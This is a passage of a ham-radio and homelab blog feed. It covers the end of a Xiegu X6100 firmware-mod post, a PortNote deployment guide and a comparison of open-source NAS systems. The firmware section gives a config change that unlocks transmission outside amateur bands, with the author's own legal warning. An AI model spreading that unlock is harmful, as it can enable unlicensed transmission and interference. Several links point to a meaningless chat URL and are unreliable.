<p class="wp-block-paragraph">Want to transmit outside official HAM bands? Be warned—it’s your responsibility.</p>



<p class="wp-block-paragraph">In firmware 1.1.7, edit:</p>



<pre class="wp-block-code"><code>/etc/xgradio/xgradio.conf</code></pre>



<p class="wp-block-paragraph">and change to <strong>fullband-tx=enable</strong></p>



<p class="wp-block-paragraph">Then restart the radio. You now TX on all supported frequencies. But this might violate local laws and could damage the hardware’s filtering. Proceed wisely.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9fe.png" alt="🧾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Boot Process Summary</h2>



<ul class="wp-block-list">
<li>Device starts with <a href="https://chatgpt.com/c/w">BROM</a></li>



<li>Checks SD card → eMMC for <a href="https://chatgpt.com/c/w">EGON</a> signature</li>



<li>Loads U-Boot, reads MBR, looks for <code>uboot.scr</code></li>



<li><code>uboot.scr</code> boots the kernel</li>



<li>Environment var <code>devnum</code>:
<ul class="wp-block-list">
<li>0 = booted from SD</li>



<li>1 = booted from eMMC</li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph">The official <code>u-boot-sunxi-with-spl.bin</code> is used for boot sectors.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f64f.png" alt="🙏" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Credits</h2>



<p class="wp-block-paragraph">This entire toolchain was created and maintained by <strong><a href="https://github.com/j0ju">@j0ju</a></strong>.<br>Massive respect for building a clean, reproducible, and open solution for the <a href="https://chatgpt.com/c/w">Xiegu X6100</a> firmware community.</p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> GitHub: <a href="https://github.com/j0ju/x6100-fw-mangler"><strong>github.com/j0ju/x6100-fw-mangler</strong></a></p>
<p>The post <a href="https://hamradio.my/2025/06/x6100-firmware-mangler-the-way-to-hack-and-tinker-your-xiegu-x6100-mars-mod/">X6100 Firmware Mangler: The Way to Hack and Tinker Your Xiegu X6100 (MARS mod)</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/x6100-firmware-mangler-the-way-to-hack-and-tinker-your-xiegu-x6100-mars-mod/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PortNote – A Beautiful and Simple Way to Document Your Network Ports</title>
		<link>https://hamradio.my/2025/06/portnote-a-beautiful-and-simple-way-to-document-your-network-ports/</link>
					<comments>https://hamradio.my/2025/06/portnote-a-beautiful-and-simple-way-to-document-your-network-ports/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sat, 28 Jun 2025 16:41:08 +0000</pubDate>
				<category><![CDATA[docker]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[self hosted]]></category>
		<category><![CDATA[devtools]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockerapps]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[homelabsetup]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[itmanagement]]></category>
		<category><![CDATA[jsonstorage]]></category>
		<category><![CDATA[lightweightapps]]></category>
		<category><![CDATA[networkmapping]]></category>
		<category><![CDATA[networktools]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[portmanagement]]></category>
		<category><![CDATA[portnote]]></category>
		<category><![CDATA[porttracker]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[selfhostedapps]]></category>
		<category><![CDATA[selfhostedutility]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[webapps]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7567</guid>

					<description><![CDATA[<p>When you run a self-hosted home lab or manage multiple services on a single machine, it’s easy to lose track of what port is used by what service. You open :3000 and wonder — is that Grafana or some test app you forgot about last year? This is where PortNote comes in — a minimal, [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/portnote-a-beautiful-and-simple-way-to-document-your-network-ports/">PortNote – A Beautiful and Simple Way to Document Your Network Ports</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">When you run a self-hosted home lab or manage multiple services on a single machine, it’s easy to lose track of what port is used by what service. You open <code>:3000</code> and wonder — is that Grafana or some test app you forgot about last year?</p>



<p class="wp-block-paragraph">This is where <strong>PortNote</strong> comes in — a <strong>minimal, beautiful, and self-hosted tool</strong> to help you track and document all your used ports in one glance.</p>



<p class="wp-block-paragraph">Whether you’re running dozens of Docker containers, VMs, or bare-metal services, <strong>PortNote is a must-have</strong> for keeping your infrastructure tidy and your sanity intact.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What is PortNote?</h3>



<p class="wp-block-paragraph"><strong>PortNote</strong> is a web-based app designed to let you quickly and visually document port usages. Think of it as a personal notepad or dashboard specifically built for network and application ports.</p>



<p class="wp-block-paragraph">It’s <strong>completely self-hosted</strong>, requires no external services, and offers a beautiful interface for you to:</p>



<ul class="wp-block-list">
<li>Track which services use which ports</li>



<li>Add meaningful descriptions and links</li>



<li>Group entries by server or IP</li>



<li>Avoid port conflicts</li>



<li>Stay organized, especially in a growing homelab or VPS setup</li>
</ul>



<p class="wp-block-paragraph">PortNote is perfect for:</p>



<ul class="wp-block-list">
<li><strong>Homelab enthusiasts</strong></li>



<li><strong>Sysadmins managing multiple services</strong></li>



<li><strong>Developers juggling local development ports</strong></li>



<li><strong>Anyone using Docker, Proxmox, or VMs</strong></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2728.png" alt="✨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Key Features</h3>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Visual port mapping:</strong> Clean, card-style display of services and ports</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Notes and descriptions:</strong> Add context to each port so you never forget</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Clickable links:</strong> Link to service dashboards or local UIs</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Group by server/IP:</strong> Useful when managing multiple machines</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Lightweight &amp; fast:</strong> No database, runs entirely in your browser</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f308.png" alt="🌈" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Simple JSON backend:</strong> Data is stored in a local <code>db.json</code> file</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Docker-ready:</strong> Just one container to deploy</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> How to Deploy PortNote (Docker)</h3>



<p class="wp-block-paragraph">Getting PortNote running is super simple. Here’s a quick guide to deploy it using Docker:</p>



<h4 class="wp-block-heading">Step 1: Clone the Repository</h4>



<pre class="wp-block-code"><code>git clone https://github.com/crocofied/PortNote.git
cd PortNote
</code></pre>



<h4 class="wp-block-heading">Step 2: Launch with Docker</h4>



<pre class="wp-block-code"><code>docker compose up -d
</code></pre>



<p class="wp-block-paragraph">That’s it!</p>



<p class="wp-block-paragraph">By default, PortNote runs on port <strong>5173</strong>. Open your browser and head to:</p>



<pre class="wp-block-code"><code>http:&#47;&#47;localhost:5173
</code></pre>



<p class="wp-block-paragraph">You’ll be greeted with a clean and modern interface where you can begin adding your services and their associated ports.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5c3.png" alt="🗃" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Data Storage</h3>



<p class="wp-block-paragraph">PortNote stores your port notes in a local file called <code>db.json</code>.</p>



<p class="wp-block-paragraph">By default, this file is mounted into the container to persist your data:</p>



<pre class="wp-block-code"><code>volumes:
  - ./db.json:/app/db.json
</code></pre>



<p class="wp-block-paragraph">You can easily back it up, version it with Git, or sync it across devices if needed. It’s that simple.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/270d.png" alt="✍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> How to Use PortNote</h3>



<p class="wp-block-paragraph">Once you&#8217;re inside the web UI, you&#8217;ll see a form to add a new port entry. Here&#8217;s how you might use it:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Field</th><th>Example</th></tr></thead><tbody><tr><td>Name</td><td>Grafana</td></tr><tr><td>Port</td><td>3000</td></tr><tr><td>IP/Server</td><td>192.168.1.10</td></tr><tr><td>Description</td><td>Monitoring dashboard for system stats</td></tr><tr><td>Link</td><td><a href="http://192.168.1.10:3000/">http://192.168.1.10:3000</a></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Click <strong>Add</strong>, and the port is logged and visually displayed on your dashboard.</p>



<p class="wp-block-paragraph">You can edit or delete entries anytime — it’s designed to be fast and intuitive.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Demo</h3>



<p class="wp-block-paragraph">Want to try before hosting?</p>



<p class="wp-block-paragraph">A live demo is available at:<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ce.png" alt="📎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://portnote-demo.netlify.app/">https://portnote-demo.netlify.app</a></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Note: The demo does not save your data between sessions.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f512.png" alt="🔒" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Privacy and Simplicity</h3>



<p class="wp-block-paragraph">PortNote doesn’t phone home. It’s a <strong>fully static app</strong> with no telemetry, no analytics, and no dependencies beyond your browser and the JSON file. It’s perfect for privacy-focused users.</p>



<p class="wp-block-paragraph">In fact, if you’d prefer to run it without Docker, you can even build and serve it statically via NGINX, Caddy, or any file server.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Advanced Deployment (Static Hosting)</h3>



<p class="wp-block-paragraph">Want to host PortNote without Docker? You can!</p>



<h4 class="wp-block-heading">Build it manually:</h4>



<pre class="wp-block-code"><code>npm install
npm run build
</code></pre>



<p class="wp-block-paragraph">Then copy the contents of the <code>dist/</code> directory to any web server of your choice — it’s just HTML, CSS, and JS.</p>



<p class="wp-block-paragraph">You’ll also need to configure access to <code>db.json</code> or wire it up to a backend of your choice (e.g., Firebase, Supabase, etc.) if you want something more advanced.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why PortNote is Useful</h3>



<p class="wp-block-paragraph">In a world where we’re running Grafana on <code>:3000</code>, Portainer on <code>:9000</code>, Prometheus on <code>:9090</code>, your blog on <code>:4000</code>, and who knows what else — it&#8217;s easy to forget.</p>



<p class="wp-block-paragraph">PortNote gives you a single place to document everything and avoid confusion or port conflicts.</p>



<p class="wp-block-paragraph">It also becomes handy when you revisit your homelab setup after a few weeks (or months) and don’t want to reverse-engineer every <code>docker-compose.yml</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h3>



<p class="wp-block-paragraph">PortNote is one of those tools that’s <strong>small, but incredibly effective</strong>. If you maintain any sort of local or cloud infrastructure, this is a fantastic addition to your toolbox.</p>



<p class="wp-block-paragraph">No overhead, no login systems, no complex config. Just a clean interface to help you stay organized.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Official GitHub:</strong><br><a href="https://github.com/crocofied/PortNote">https://github.com/crocofied/PortNote</a></p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Created by:</strong> <a href="https://github.com/crocofied">@crocofied</a></p>
<p>The post <a href="https://hamradio.my/2025/06/portnote-a-beautiful-and-simple-way-to-document-your-network-ports/">PortNote – A Beautiful and Simple Way to Document Your Network Ports</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/portnote-a-beautiful-and-simple-way-to-document-your-network-ports/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>The Best Open Source NAS Operating Systems</title>
		<link>https://hamradio.my/2025/06/the-best-open-source-nas-operating-systems/</link>
					<comments>https://hamradio.my/2025/06/the-best-open-source-nas-operating-systems/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sun, 22 Jun 2025 03:25:19 +0000</pubDate>
				<category><![CDATA[amateur radio]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[DIY]]></category>
		<category><![CDATA[do it yourself]]></category>
		<category><![CDATA[free open source software]]></category>
		<category><![CDATA[free operating system]]></category>
		<category><![CDATA[ham radio]]></category>
		<category><![CDATA[Network Attached Storage]]></category>
		<category><![CDATA[btrfs]]></category>
		<category><![CDATA[datastorage]]></category>
		<category><![CDATA[diyserver]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[easynas]]></category>
		<category><![CDATA[fileserver]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[homenas]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[linuxserver]]></category>
		<category><![CDATA[NAS]]></category>
		<category><![CDATA[OpenMediaVault]]></category>
		<category><![CDATA[opensourcenas]]></category>
		<category><![CDATA[RaspberryPi]]></category>
		<category><![CDATA[Rockstor]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[selfhosting]]></category>
		<category><![CDATA[serverbuild]]></category>
		<category><![CDATA[smb]]></category>
		<category><![CDATA[storage]]></category>
		<category><![CDATA[TechBlog]]></category>
		<category><![CDATA[TrueNAS]]></category>
		<category><![CDATA[XigmaNAS]]></category>
		<category><![CDATA[zfs]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7534</guid>

					<description><![CDATA[<p>When it comes to setting up your own network-attached storage (NAS), open-source software offers an incredible range of options—powerful, flexible, and most importantly, free. Whether you&#8217;re building a home media server, backup system, or an advanced data management solution, there&#8217;s an open-source NAS out there for you. In this post, we’ll explore the top 5 [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/the-best-open-source-nas-operating-systems/">The Best Open Source NAS Operating Systems</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">When it comes to setting up your own network-attached storage (NAS), open-source software offers an incredible range of options—powerful, flexible, and most importantly, <strong>free</strong>. Whether you&#8217;re building a home media server, backup system, or an advanced data management solution, there&#8217;s an open-source NAS out there for you.</p>



<p class="wp-block-paragraph">In this post, we’ll explore the <strong>top 5 open-source NAS operating systems</strong> you can deploy today. Each one is suited to different needs—ranging from powerful enterprise-level setups to simple plug-and-play solutions for beginners.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-1-truenas-core-formerly-freenas-the-zfs-king"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3c6.png" alt="🏆" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 1. TrueNAS CORE (formerly FreeNAS) – The ZFS King</h2>



<p class="wp-block-paragraph"><strong>Base OS</strong>: FreeBSD<br><strong>Filesystem</strong>: ZFS<br><strong>Best for</strong>: Power users, enterprises, and anyone who values <strong>data integrity</strong></p>



<h3 class="wp-block-heading" id="h-why-truenas-core"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why TrueNAS CORE?</h3>



<p class="wp-block-paragraph">TrueNAS CORE is the gold standard in open-source NAS software. Built on FreeBSD and leveraging the incredibly robust <strong>ZFS</strong> file system, it offers data protection features like checksumming, copy-on-write, and built-in snapshots.</p>



<p class="wp-block-paragraph">It comes with a polished web UI, plugin support (e.g., Nextcloud, Plex, Transmission), replication tools, encryption, and advanced networking. It even supports virtual machines and Docker via its Linux counterpart, <strong>TrueNAS SCALE</strong>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Recommended if you have <strong>8GB+ RAM</strong>, preferably ECC, and want bulletproof storage with enterprise-level features.</p>
</blockquote>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://www.truenas.com/truenas-core/">https://www.truenas.com/truenas-core/</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-2-openmediavault-omv-best-for-simplicity-and-home-use"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f7e2.png" alt="🟢" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 2. OpenMediaVault (OMV) – Best for Simplicity and Home Use</h2>



<p class="wp-block-paragraph"><strong>Base OS</strong>: Debian Linux<br><strong>Filesystem</strong>: ext4, XFS, Btrfs, ZFS (via plugin)<br><strong>Best for</strong>: Home servers, Raspberry Pi NAS builds, beginners</p>



<h3 class="wp-block-heading" id="h-why-openmediavault"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why OpenMediaVault?</h3>



<p class="wp-block-paragraph">If you&#8217;re looking for something lightweight and easy to manage, OMV is your go-to. It&#8217;s perfect for home users or beginners wanting to set up a file server, media server, or even a Time Machine backup destination.</p>



<p class="wp-block-paragraph">With Docker and Portainer integration, you can run containers effortlessly. It also has a large ecosystem of plugins and excellent community support.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ideal for Raspberry Pi, mini PCs, or old laptops converted into a NAS.</p>
</blockquote>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://www.openmediavault.org/">https://www.openmediavault.org/</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-3-rockstor-linux-based-nas-with-btrfs-power"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f7e1.png" alt="🟡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 3. Rockstor – Linux-Based NAS with Btrfs Power</h2>



<p class="wp-block-paragraph"><strong>Base OS</strong>: openSUSE (newer versions)<br><strong>Filesystem</strong>: Btrfs<br><strong>Best for</strong>: Developers, Docker fans, modern Linux users</p>



<h3 class="wp-block-heading" id="h-why-rockstor"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Rockstor?</h3>



<p class="wp-block-paragraph">Rockstor is a lesser-known but powerful NAS option that revolves around <strong>Btrfs</strong>, a modern copy-on-write file system with snapshot and compression capabilities. It features a clean web UI, Docker support, and great storage management features.</p>



<p class="wp-block-paragraph">If you&#8217;re into Linux and want an alternative to ZFS, Rockstor’s Btrfs-first approach is worth trying.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Perfect for DIYers and devs looking to experiment with containers and Btrfs.</p>
</blockquote>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://rockstor.com/">https://rockstor.com/</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-4-xigmanas-formerly-nas4free-lightweight-bsd-nas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f7e3.png" alt="🟣" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 4. XigmaNAS (formerly NAS4Free) – Lightweight BSD NAS</h2>



<p class="wp-block-paragraph"><strong>Base OS</strong>: FreeBSD<br><strong>Filesystem</strong>: ZFS, UFS<br><strong>Best for</strong>: Legacy hardware, users who want a BSD NAS without bloat</p>



<h3 class="wp-block-heading" id="h-why-xigmanas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why XigmaNAS?</h3>



<p class="wp-block-paragraph">Think of XigmaNAS as the simpler cousin of TrueNAS. It’s BSD-based, supports ZFS, and runs well on older hardware. The UI is not as polished, but it gets the job done.</p>



<p class="wp-block-paragraph">It supports all major sharing protocols (SMB, NFS, AFP, FTP, etc.) and can be configured for RAID, iSCSI, and rsync easily.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Great for repurposing older PCs into reliable NAS boxes.</p>
</blockquote>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://www.xigmanas.com/">https://www.xigmanas.com/</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-5-easynas-minimalist-and-straightforward"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f534.png" alt="🔴" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 5. EasyNAS – Minimalist and Straightforward</h2>



<p class="wp-block-paragraph"><strong>Base OS</strong>: openSUSE<br><strong>Filesystem</strong>: Btrfs<br><strong>Best for</strong>: Total beginners, plug-and-play NAS setups</p>



<h3 class="wp-block-heading" id="h-why-easynas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why EasyNAS?</h3>



<p class="wp-block-paragraph">True to its name, EasyNAS is built for simplicity. It’s lightweight, quick to install, and has a minimal interface that lets you set up your file server in minutes. It lacks advanced features, but for basic use—like backing up files or sharing over the network—it’s more than capable.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Best if you want a &#8220;set it and forget it&#8221; NAS with minimal learning curve.</p>
</blockquote>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://easynas.org/">https://easynas.org/</a></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-comparison-at-a-glance"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ca.png" alt="📊" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Comparison at a Glance</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>TrueNAS CORE</th><th>OpenMediaVault</th><th>Rockstor</th><th>XigmaNAS</th><th>EasyNAS</th></tr></thead><tbody><tr><td>OS Base</td><td>FreeBSD</td><td>Debian</td><td>openSUSE</td><td>FreeBSD</td><td>openSUSE</td></tr><tr><td>Main Filesystem</td><td>ZFS</td><td>ext4/XFS/ZFS</td><td>Btrfs</td><td>ZFS/UFS</td><td>Btrfs</td></tr><tr><td>Web Interface</td><td>Excellent</td><td>Simple</td><td>Modern</td><td>Basic</td><td>Minimal</td></tr><tr><td>Docker Support</td><td>Via SCALE</td><td>Native</td><td>Native</td><td>No</td><td>No</td></tr><tr><td>Minimum RAM</td><td>8GB+</td><td>2GB+</td><td>4GB+</td><td>2GB+</td><td>2GB+</td></tr><tr><td>Ideal For</td><td>Enterprise</td><td>Home NAS</td><td>Devs/Linux</td><td>Legacy HW</td><td>Beginners</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-final-thoughts-which-nas-should-you-choose"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts: Which NAS Should You Choose?</h2>



<ul class="wp-block-list">
<li><strong>Choose TrueNAS CORE</strong> if you want <strong>maximum reliability</strong> with ZFS, advanced features, and don’t mind the extra learning curve.</li>



<li><strong>Choose OpenMediaVault</strong> for <strong>ease of use</strong>, Raspberry Pi support, and excellent Docker integration.</li>



<li><strong>Choose Rockstor</strong> if you prefer Linux and want to explore <strong>Btrfs with Docker</strong>.</li>



<li><strong>Choose XigmaNAS</strong> for a <strong>light BSD-based NAS</strong> on old or underpowered hardware.</li>



<li><strong>Choose EasyNAS</strong> if you want a <strong>quick and easy local file server</strong> without the fluff.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">Have questions or need help choosing the right NAS for your setup? Feel free to reach out or drop a comment below. Whether you’re running this on a recycled PC or a Raspberry Pi, there’s never been a better time to go open-source with your storage.</p>
<p>The post <a href="https://hamradio.my/2025/06/the-best-open-source-nas-operating-systems/">The Best Open Source NAS Operating Systems</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/the-best-open-source-nas-operating-systems/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>OpenWebRX Using Docker on Raspberry Pi and Other Devices</title>
		<link>https://hamradio.my/2025/06/openwebrx-using-docker-on-raspberry-pi-and-other-devices/</link>
					<comments>https://hamradio.my/2025/06/openwebrx-using-docker-on-raspberry-pi-and-other-devices/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sun, 15 Jun 2025 18:58:35 +0000</pubDate>
				<category><![CDATA[amateur radio]]></category>
		<category><![CDATA[container]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[ham radio]]></category>
		<category><![CDATA[podman]]></category>
		<category><![CDATA[SDR]]></category>
		<category><![CDATA[software defined radio]]></category>
		<category><![CDATA[#RaspberryPi]]></category>
		<category><![CDATA[#Shortwave]]></category>
		<category><![CDATA[açıkwebrx]]></category>
